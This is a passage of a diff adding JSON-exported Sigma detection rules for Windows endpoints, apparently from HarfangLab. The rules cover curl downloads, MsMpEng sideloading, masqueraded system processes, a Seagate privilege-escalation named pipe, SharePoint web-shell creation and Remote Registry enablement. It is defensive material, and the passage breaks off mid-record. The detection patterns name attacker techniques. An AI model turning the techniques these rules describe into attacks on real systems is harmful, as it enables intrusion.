https://github.com/kdalanon/LLM-AutoHotkey-Assistant '\n\n    exclusion_miniconda:\n        GrandparentCommandLine|contains: '?:\\ProgramData\\miniconda3\\Scripts\\activate.bat ?:\\ProgramData\\miniconda3'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "65d0c693-d321-45f0-bf8b-7372027471e3",
+  "rule_name": "File Downloaded via cURL",
+  "rule_description": "Detects the usage of curl.exe to download a file.\nAttackers can use the legitimate curl.exe binary to download malicious payloads from external servers.\nIt is recommended to analyze the execution chain associated with this alert to determine its legitimacy, as well as to analyze the downloaded file.\n",
+  "rule_creation_date": "2023-12-19",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1048",
+    "attack.t1071.001",
+    "attack.t1105"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "65d88092-894b-431b-aa5d-70bcd00ea324",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.085254Z",
+  "creation_date": "2026-03-23T11:45:34.085256Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.085260Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/",
+    "https://attack.mitre.org/techniques/T1036/",
+    "https://attack.mitre.org/techniques/T1574/002/"
+  ],
+  "name": "t1036_suspicious_msmpeng.yml",
+  "content": "title: Suspicious MsMpEng.exe Execution\nid: 65d88092-894b-431b-aa5d-70bcd00ea324\ndescription: |\n    Detects an execution of the MsMpEng.exe binary with a wrong parent or integrity level.\n    This is likely an attempt by an attacker to either make a DLL sideloading attack by putting a malicious mpsvc.dll into the same directory or to start MsMpEng.exe via process tampering to perform malicious actions under the legitimate Microsoft-signed binary.\n    It is recommended to analyze the actions taken by MsMpEng after this alert and to look for any unsigned or suspicious DLLs being loaded by it via telemetry.\nreferences:\n    - https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/\n    - https://attack.mitre.org/techniques/T1036/\n    - https://attack.mitre.org/techniques/T1574/002/\ndate: 2021/07/16\nmodified: 2025/01/28\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1036\n    - attack.t1574.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.ProcessTampering\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        - Image|endswith: '\\MsMpEng.exe'\n        - OriginalFileName: 'MsMpEng.exe'\n\n    filter_legitimate_parent:\n        ParentImage: '?:\\Windows\\System32\\services.exe'\n\n    filter_legitimate_integrity_level:\n        IntegrityLevel: 'System'\n\n    exclusion_parent_unknown:\n        # In case the agent doesn't know the parent of this process.\n        ParentImage:\n            - null\n            - ''\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "65d88092-894b-431b-aa5d-70bcd00ea324",
+  "rule_name": "Suspicious MsMpEng.exe Execution",
+  "rule_description": "Detects an execution of the MsMpEng.exe binary with a wrong parent or integrity level.\nThis is likely an attempt by an attacker to either make a DLL sideloading attack by putting a malicious mpsvc.dll into the same directory or to start MsMpEng.exe via process tampering to perform malicious actions under the legitimate Microsoft-signed binary.\nIt is recommended to analyze the actions taken by MsMpEng after this alert and to look for any unsigned or suspicious DLLs being loaded by it via telemetry.\n",
+  "rule_creation_date": "2021-07-16",
+  "rule_modified_date": "2025-01-28",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1036",
+    "attack.t1574.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "65f9250c-0a9d-4f2d-bfe1-cc6b130418aa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.627451Z",
+  "creation_date": "2026-03-23T11:45:34.627454Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.627458Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1036/",
+    "https://attack.mitre.org/techniques/T1055/"
+  ],
+  "name": "t1036_suspicious_process_parent.yml",
+  "content": "title: Suspicious Parent Process for Windows Common Process\nid: 65f9250c-0a9d-4f2d-bfe1-cc6b130418aa\ndescription: |\n    Detects the execution of a system process with an unexpected parent process.\n    This is likely an attempt at masquerading as a system process and it is often the result of a process injection.\n    It is recommended to investigate the child and parent processes to look for malicious content, actions, or signs of injection.\nreferences:\n    - https://attack.mitre.org/techniques/T1036/\n    - https://attack.mitre.org/techniques/T1055/\ndate: 2021/05/25\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1036\n    - attack.privilege_escalation\n    - attack.t1055\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.Masquerading\n    - classification.Windows.Behavior.SacrificialProcess\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection_svchost:\n        Image|endswith: '\\svchost.exe'\n    filter_parent_svchost:\n        ParentImage|endswith:\n            - '\\MRT.exe'\n            - '\\MsMpEng.exe'\n            - '\\services.exe'\n            # Since Windows 10, can happen via process cloning for Werfault process dump.\n            - '\\svchost.exe'\n\n    selection_spoolsv:\n        Image|endswith: '\\spoolsv.exe'\n    filter_parent_spoolsv:\n        ParentImage|endswith:\n            - '\\services.exe'\n            # Since Windows 10, can happen via process cloning for Werfault process dump.\n            - '\\spoolsv.exe'\n\n    selection_taskhost:\n        Image|endswith:\n            - '\\taskhost.exe'\n            - '\\taskhostw.exe'\n    filter_parent_taskhost:\n        ParentImage|endswith:\n            - '\\services.exe'\n            - '\\svchost.exe'\n            # Since Windows 10, can happen via process cloning for Werfault process dump.\n            - '\\taskhostw.exe'\n            - '\\taskhost.exe'\n\n    selection_userinit:\n        Image|endswith: '\\userinit.exe'\n    filter_parent_userinit:\n        ParentImage|endswith:\n            - '\\dwm.exe'\n            - '\\winlogon.exe'\n\n    selection_services:\n        Image|endswith: '\\services.exe'\n    filter_parent_services:\n        ParentImage|endswith:\n            - '\\wininit.exe'\n            # Can happen with a user mistake as Windows 10 search results not always returing \"services.msc\" when asking \"Services\"\n            - '\\explorer.exe'\n\n    selection_logonui:\n        Image|endswith: '\\LogonUI.exe'\n    filter_parent_logonui:\n        ParentImage|endswith:\n            - '\\wininit.exe'\n            - '\\winlogon.exe'\n            - '\\logonUI.exe'\n\n    selection_lsass:\n        Image|endswith: '\\lsass.exe'\n    filter_parent_lsass:\n        ParentImage|endswith: '\\wininit.exe'\n    filter_lsass_werfault:\n        #CommandLine: ''\n        ParentImage|endswith: '\\lsass.exe'\n        GrandparentImage|endswith: '\\wininit.exe'\n\n    selection_winlogon:\n        Image|endswith: '\\winlogon.exe'\n    filter_parent_winlogon:\n        ParentImage|endswith:\n            - '\\smss.exe'\n            # Since Windows 10, can happen via process cloning for Werfault process dump.\n            - '\\winlogon.exe'\n\n    selection_wininit:\n        Image|endswith: '\\wininit.exe'\n    filter_parent_wininit:\n        ParentImage|endswith:\n            - '\\smss.exe'\n            - '\\svchost.exe'\n            # Since Windows 10, can happen via process cloning for Werfault process dump.\n            - '\\wininit.exe'\n\n    selection_csrss:\n        Image|endswith: '\\csrss.exe'\n    filter_parent_csrss:\n        - ParentImage|endswith:\n            - '\\smss.exe'\n            - '\\svchost.exe'\n            # Since Windows 10, can happen via process cloning for Werfault process dump.\n            - '\\csrss.exe'\n        # This will happen after a System reset or reinstall\n        - ParentImage: '?:\\Windows\\explorer.exe'\n          Image: '?:\\$SysReset\\Scratch\\csrss.exe'\n\n    selection_smss:\n        Image|endswith: '\\smss.exe'\n    filter_parent_smss:\n        ParentImage:\n            - '*\\smss.exe'\n            - 'System'\n            - '?:\\WINDOWS\\system32\\ntoskrnl.exe'\n            - '?:\\Windows\\System32\\sihost.exe'\n\n    selection_fontdrvhost:\n        Image|endswith: '\\fontdrvhost.exe'\n    filter_parent_fontdrvhost:\n        ParentImage|endswith:\n            - '\\wininit.exe'\n            - '\\winlogon.exe'\n            - '\\fontdrvhost.exe'\n\n    selection_dwm:\n        Image|endswith: '\\dwm.exe'\n    filter_parent_dwm:\n        ParentImage|endswith:\n            - '\\winlogon.exe'\n            - '\\svchost.exe'\n            - '\\wininit.exe'\n            - '\\dwm.exe' # in case of crash, dwm respawns itself\n\n    # This is handled by the rule 2fe027bc-7a3c-412a-9493-8581215d5157\n    exclusion_absolute_sofware:\n        ParentImage:\n            - '?:\\Windows\\SysWOW64\\rpcnet.exe'\n            - '?:\\Windows\\System32\\rpcnetp.exe'\n        GrandparentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_unknown_parent:\n        # In case the agent doesn't know the parent of this process.\n        ParentImage:\n            - null\n            - \"\"\n\n    exclusion_ashookdevice:\n        Image: '?:\\Program Files (x86)\\ASUS\\ASUS Business Manager\\DeviceLock\\svchost.exe'\n        ParentImage: '?:\\Windows\\SysWOW64\\AsHookDevice.exe'\n\n    # Exclusion for User Lock (https://www.isdecisions.com/products/userlock/)\n    exclusion_parent_userlock:\n        ParentImage: '?:\\Windows\\SysWOW64\\ULAgentExe.exe'\n\n    exclusion_ksuserinit:\n        # parent is ksuserinit (613ceaec88f80e7a32c3562a419eb58663ca289cfc3873f1ebe7e895fad46063)\n        Image: '?:\\Windows\\System32\\userinit.exe'\n        ParentImage: '?:\\Windows\\System32\\KUsrInit.exe'\n        GrandparentImage:\n            - '?:\\Windows\\System32\\winlogon.exe'\n            - null\n            - \"\"\n\n    exclusion_cliaca2kp:\n        Image: '?:\\Windows\\System32\\userinit.exe'\n        ParentImage: '?:\\Windows\\System32\\Cliaca2kp.exe'\n        GrandparentImage: '?:\\Windows\\System32\\winlogon.exe'\n\n    exclusion_zonecentral:\n        Image: '?:\\Windows\\System32\\userinit.exe'\n        ParentCommandLine: '?:\\Program Files\\Prim?X\\ZoneCentral\\zcuserinit.exe -cryptlogon'\n        GrandparentImage: '?:\\Windows\\System32\\winlogon.exe'\n\n    exclusion_asus:\n        Image: '?:\\Program Files (x86)\\ASUS\\ASUS Manager\\USB Lock\\svchost.exe'\n        ParentImage:\n            - '?:\\Windows\\SysWOW64\\AsHookDevice.exe'\n            - '?:\\Windows\\System32\\taskeng.exe'\n        GrandparentImage:\n            - '?:\\Windows\\System32\\services.exe'\n            - '?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_graphon:\n        Image:\n            - '?:\\Windows\\System32\\fontdrvhost.exe'\n            - '?:\\Windows\\System32\\csrss.exe'\n        ParentImage|endswith:\n            - '\\Logon.exe'\n            - '\\aps.aps'\n        ProcessParentSigned: 'true'\n        ProcessParentSignature: 'GraphOn Corporation'\n\n    exclusion_services:\n        Image: '?:\\Windows\\System32\\services.exe'\n        ParentImage: '?:\\Windows\\System32\\cmd.exe'\n        GrandparentImage: '?:\\Windows\\explorer.exe'\n\n    exclusion_parentimage:\n        ProcessParentImage:\n            - '?:\\Program Files (x86)\\Citrix\\ICA Client\\CtxExplorerLauncher.exe'\n            - '?:\\Program Files (x86)\\Citrix\\ICA Client\\Receiver\\CitrixUserInit.exe'\n            - '?:\\Program Files (x86)\\LANDesk\\LDClient\\tracksvc.exe'\n            - '?:\\Program Files (x86)\\Smiths Detection\\HazMatID Elite\\HazMatIDEliteTaskBar.exe'\n            - '?:\\Program Files\\COMODO\\COMODO Internet Security\\cmdvirth.exe'\n            - '?:\\Program Files\\Nexthink\\Collector\\BSM\\nxtbsm.exe'\n\n    exclusion_lfsagent:\n        Image|endswith: '\\services.exe'\n        Signed: 'true'\n        Signature: 'Lepide Software Private Limited'\n\n    exclusion_csrss:\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\csrss.exe ObjectDirectory=\\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=* ProfileControl=Off MaxRequestThreads=16'\n            - '%SystemRoot%\\system32\\csrss.exe ObjectDirectory=\\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=* ProfileControl=Off MaxRequestThreads=16'\n\n    condition: ((selection_svchost and not filter_parent_svchost) or\n               (selection_spoolsv and not filter_parent_spoolsv) or\n               (selection_taskhost and not filter_parent_taskhost) or\n               (selection_userinit and not filter_parent_userinit) or\n               (selection_services and not filter_parent_services) or\n               (selection_logonui and not filter_parent_logonui) or\n               (selection_lsass and not filter_parent_lsass and not filter_lsass_werfault) or\n               (selection_winlogon and not filter_parent_winlogon) or\n               (selection_wininit and not filter_parent_wininit) or\n               (selection_csrss and not filter_parent_csrss) or\n               (selection_fontdrvhost and not filter_parent_fontdrvhost) or\n               (selection_dwm and not filter_parent_dwm) or\n               (selection_smss and not filter_parent_smss)) and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "65f9250c-0a9d-4f2d-bfe1-cc6b130418aa",
+  "rule_name": "Suspicious Parent Process for Windows Common Process",
+  "rule_description": "Detects the execution of a system process with an unexpected parent process.\nThis is likely an attempt at masquerading as a system process and it is often the result of a process injection.\nIt is recommended to investigate the child and parent processes to look for malicious content, actions, or signs of injection.\n",
+  "rule_creation_date": "2021-05-25",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1036",
+    "attack.t1055"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "660da61b-96b8-4b11-af8c-ee0ae90ed158",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.609846Z",
+  "creation_date": "2026-03-23T11:45:34.609849Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.609857Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.x86matthew.com/view_post?id=windows_seagate_lpe",
+    "https://attack.mitre.org/techniques/T1068/"
+  ],
+  "name": "t1068_possible_seagate_media_sync_exploitation.yml",
+  "content": "title: Possible Seagate Media Sync Local Privilege Escalation Detected\nid: 660da61b-96b8-4b11-af8c-ee0ae90ed158\ndescription: |\n    Detects the connection to a Seagate Media Sync Named Pipe by a suspicious process, allowing attacker to perform privilege escalation.\n    This vulnerability has been assigned CVE-2022-40286 and can allow attackers to escalate as SYSTEM.\n    It is recommended to investigate the machine's timeline for any other suspicious behavior.\nreferences:\n    - https://www.x86matthew.com/view_post?id=windows_seagate_lpe\n    - https://attack.mitre.org/techniques/T1068/\ndate: 2022/09/26\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1068\n    - classification.Windows.Source.NamedPipe\n    - classification.Windows.Exploit.CVE-2022-40286\n    - classification.Windows.Exploit.SeagateMediaSync\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: named_pipe_connection\ndetection:\n    selection:\n        PipeName: '\\MEDIA_AGGRE_PIPE.PIP'\n\n    filter_seagate:\n        ProcessSignature: 'Seagate Technology LLC'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "660da61b-96b8-4b11-af8c-ee0ae90ed158",
+  "rule_name": "Possible Seagate Media Sync Local Privilege Escalation Detected",
+  "rule_description": "Detects the connection to a Seagate Media Sync Named Pipe by a suspicious process, allowing attacker to perform privilege escalation.\nThis vulnerability has been assigned CVE-2022-40286 and can allow attackers to escalate as SYSTEM.\nIt is recommended to investigate the machine's timeline for any other suspicious behavior.\n",
+  "rule_creation_date": "2022-09-26",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "661b1467-fbc7-47f7-938e-e8e67f883109",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.073432Z",
+  "creation_date": "2026-03-23T11:45:34.073434Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.073439Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.microsoft.com/en-us/security/blog/2025/07/22/disrupting-active-exploitation-of-on-premises-sharepoint-vulnerabilities/",
+    "https://attack.mitre.org/techniques/T1505/003/"
+  ],
+  "name": "t1505_003_suspicious_aspx_creation_sharepoint.yml",
+  "content": "title: Suspicious File Created by Sharepoint Server\nid: 661b1467-fbc7-47f7-938e-e8e67f883109\ndescription: |\n    Detects the creation of suspicious files by Sharepoint Server.\n    Attackers may deploy web shells in default IIS folders to execute commands or as a persistence mechanism.\n    It is recommended to investigate the content of the created file to determine its legitimacy.\nreferences:\n    - https://www.microsoft.com/en-us/security/blog/2025/07/22/disrupting-active-exploitation-of-on-premises-sharepoint-vulnerabilities/\n    - https://attack.mitre.org/techniques/T1505/003/\ndate: 2025/07/22\nmodified: 2025/10/09\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1505.003\n    - attack.initial_access\n    - attack.t1190\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.Exploitation\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    product: windows\n    category: filesystem_event\ndetection:\n    selection_file:\n        Kind: 'create'\n        Path|endswith:\n            - '.aspx'\n            - '.asp'\n            - '.ashx'\n            - '.asmx'\n            - '.ascx'\n            - '.asax'\n\n    selection_app_sharepoint:\n        - ProcessCommandLine|contains: 'sharepoint'\n          ProcessName: 'w3wp.exe'\n        - ProcessParentCommandLine|contains: 'sharepoint'\n          ProcessParentName: 'w3wp.exe'\n        - ProcessGrandparentCommandLine|contains: 'sharepoint'\n          ProcessGrandparentName: 'w3wp.exe'\n\n    exclusion_path:\n        Path:\n            - '?:\\inetpub\\wwwroot\\wss\\VirtualDirectories\\\\*\\global.asax'\n            - '?:\\inetpub\\wwwroot\\wss\\VirtualDirectories\\\\*\\_trust\\Default.aspx'\n            - '?:\\Windows\\Temp\\\\*'\n            - '?:\\Users\\\\*\\AppData\\Local\\Temp\\\\*'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "661b1467-fbc7-47f7-938e-e8e67f883109",
+  "rule_name": "Suspicious File Created by Sharepoint Server",
+  "rule_description": "Detects the creation of suspicious files by Sharepoint Server.\nAttackers may deploy web shells in default IIS folders to execute commands or as a persistence mechanism.\nIt is recommended to investigate the content of the created file to determine its legitimacy.\n",
+  "rule_creation_date": "2025-07-22",
+  "rule_modified_date": "2025-10-09",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.initial_access",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1190",
+    "attack.t1505.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6624dc1b-2cc0-4936-b502-8f6ec161ba8e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.621778Z",
+  "creation_date": "2026-03-23T11:45:34.621780Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.621784Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.compass-security.com/2022/05/bloodhound-inner-workings-part-3/",
+    "https://car.mitre.org/analytics/CAR-2014-11-005/",
+    "https://attack.mitre.org/techniques/T1112/"
+  ],
+  "name": "t1112_remote_registry_enabled_scm.yml",
+  "content": "title: Remote Registry Service Enabled via SCM\nid: 6624dc1b-2cc0-4936-b502-8f6ec161ba8e\ndescription: |\n    Detects when the Remote Registry Service is enabled via the Service Control Manager.\n    This service is disabled by default on workstations (starting with Windows 8) and enabled on servers.\n    An adversary can remotely manipulate the registry of another machine if the Remote Registry service is enabled and valid credentials are obtained.\n    It can be used by an attacker to prepare a Lateral Movement technique, discover the configuration of a host, achieve persistence, or anything that aids an adversary in achieving their objective.\n    It is recommended to analyze the authentications and network activity around this alert to determine the user and host responsible for this action and to determine whether this action is legitimate.\nreferences:\n    - https://blog.compass-security.com/2022/05/bloodhound-inner-workings-part-3/\n    - https://car.mitre.org/analytics/CAR-2014-11-005/\n    - https://attack.mitre.org/techniques/T1112/\ndate: 2025/08/04\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1112\n    - classification.Windows.Source.Service\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.Lateralization\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: service\ndetection:\n    selection:\n        AgentVersion|gte|version: 4.9.0\n        ServiceName: 'RemoteRegistry'\n        OperationType: 'change'\n\n    filter_disabled:\n        ServiceStartType: 4\n\n    filter_remote:\n        # Remote operations contain no information about the context thus are impossible to whitelist\n        IsRemote: 'true'\n\n    filter_services_local:\n        ProcessImage: '?:\\Windows\\System32\\services.exe'\n        IsRemote: 'false'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_ccm:\n        ProcessGrandparentImage:\n            - '?:\\Windows\\CCM\\TSManager.exe'\n            - '?:\\Windows\\CCM\\Ccm32BitLauncher.exe'\n\n    exclusion_ccmexec:\n        ProcessOriginalFileName: 'CcmExec.exe'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_trendmicro:\n        ProcessOriginalFileName: 'housecall.ATTK.exe'\n        ProcessSignature: 'Trend Micro, Inc.'\n\n    exclusion_ivanti:\n        ProcessAncestors|contains:\n            - '?:\\Program Files\\Ivanti\\EPM Agent\\SWD\\sdistbat.exe|?:\\Program Files\\Ivanti\\EPM Agent\\SWD\\SDCLIENT.EXE'\n            - '?:\\Program Files (x86)\\Ivanti\\EPM Agent\\SWD\\sdistbat.exe|?:\\Program Files (x86)\\Ivanti\\EPM Agent\\SWD\\SDCLIENT.EXE'\n\n    exclusion_exchange:\n        - ProcessOriginalFileName:\n            - 'ExSetupUI.exe'\n            - 'ExSetup.exe'\n          ProcessSigned: 'true'\n          ProcessSignature: 'Microsoft Corporation'\n        - ProcessImage: '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'\n          ProcessParentOriginalFileName: 'QuietExe.exe'\n          ProcessParentSigned: 'true'\n          ProcessParentSignature: 'Microsoft Corporation'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6624dc1b-2cc0-4936-b502-8f6ec161ba8e",
+  "rule_name": "Remote Registry Service Enabled via SCM",
+  "rule_description": "Detects when the Remote Registry Service is enabled via the Service Control Manager.\nThis service is disabled by default on workstations (starting with Windows 8) and enabled on servers.\nAn adversary can remotely manipulate the registry of another machine if the Remote Registry service is enabled and valid credentials are obtained.\nIt can be used by an attacker to prepare a Lateral Movement technique, discover the configuration of a host, achieve persistence, or anything that aids an adversary in achieving their objective.\nIt is recommended to analyze the authentications and network activity around this alert to determine the user and host responsible for this action and to determine whether this action is legitimate.\n",
+  "rule_creation_date": "2025-08-04",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
